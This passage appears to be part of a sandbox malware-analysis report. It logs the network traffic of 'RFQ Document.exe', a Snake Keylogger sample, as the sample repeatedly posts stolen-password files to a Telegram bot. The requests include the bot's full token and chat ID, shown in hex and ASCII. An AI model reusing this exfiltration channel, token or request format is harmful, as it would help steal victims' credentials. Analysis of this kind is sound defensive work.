{"ok":true,"result":{"message_id":12736,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808743,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49789	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:23 UTC	23	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c3a2432d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:23 UTC	24	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 61 32 34 33 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c3a2432dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:23 UTC	24	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:23 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:23 UTC	24	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12594,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808703,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.4	49956	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:03 UTC	239	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255db6b7218 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:03 UTC	240	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 36 62 37 32 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255db6b7218Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:03 UTC	240	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:03 UTC	241	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12737,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808743,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.4	49958	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:03 UTC	241	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255db91981c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:03 UTC	241	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 39 31 39 38 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255db91981cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:03 UTC	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:03 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:03 UTC	242	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12738,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808743,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.4	49960	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:04 UTC	243	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dbae3519 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:04 UTC	243	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 61 65 33 35 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dbae3519Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:04 UTC	243	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:04 UTC	244	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12740,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808744,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.4	49962	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:04 UTC	244	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dbd459f3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:04 UTC	245	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 62 64 34 35 39 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dbd459f3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:04 UTC	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:04 UTC	245	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12741,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808744,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.4	49964	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:04 UTC	246	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dc197d55 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:04 UTC	246	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 63 31 39 37 64 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dc197d55Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:04 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:04 UTC	247	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12742,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808744,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.4	49965	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:05 UTC	247	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dc3fa396 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:05 UTC	248	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 63 33 66 61 33 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dc3fa396Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:05 UTC	248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:05 UTC	249	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12743,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808745,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.4	49967	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:05 UTC	249	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dc5ea195 Host: api.telegram.org Content-Length: 407
